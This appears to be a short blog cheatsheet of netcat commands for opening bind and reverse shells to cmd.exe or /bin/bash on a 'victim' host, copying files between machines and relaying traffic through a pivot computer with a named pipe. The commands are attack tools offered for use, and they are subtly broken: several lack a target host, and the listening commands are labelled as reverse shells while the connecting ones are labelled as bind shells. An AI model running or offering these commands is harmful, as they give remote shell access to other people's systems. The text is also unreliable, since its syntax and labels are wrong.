Netcat Cheatsheet


Bind and Reverse Shells
(Windows) Netcat bind shell

C:\> nc 4444 --exec cmd.exe

(Windows) Netcat reverse shell

C:\> nc -lp 31337 --exec cmd.exe 

(Linux) Netcat bind shell

victim:~# nc 4444 -e /bin/bash

(Linux) Netcat reverse shell

victim:~# nc -lp 31337 -e /bin/bash 

Moving Files
On Source:

source:~# nc 4444 < input.txt

On Destination:

destination:~# nc -lp 31337 > output.txt  

Source > Pivot Computer > Destination

On pivot computer run:

cd /tmp
mknod backpipe p
nc -l -p 31337 0</tmp/backpipe | nc 4444 | tee /tmp/backpipe

Leave a Reply

Your email address will not be published. Required fields are marked *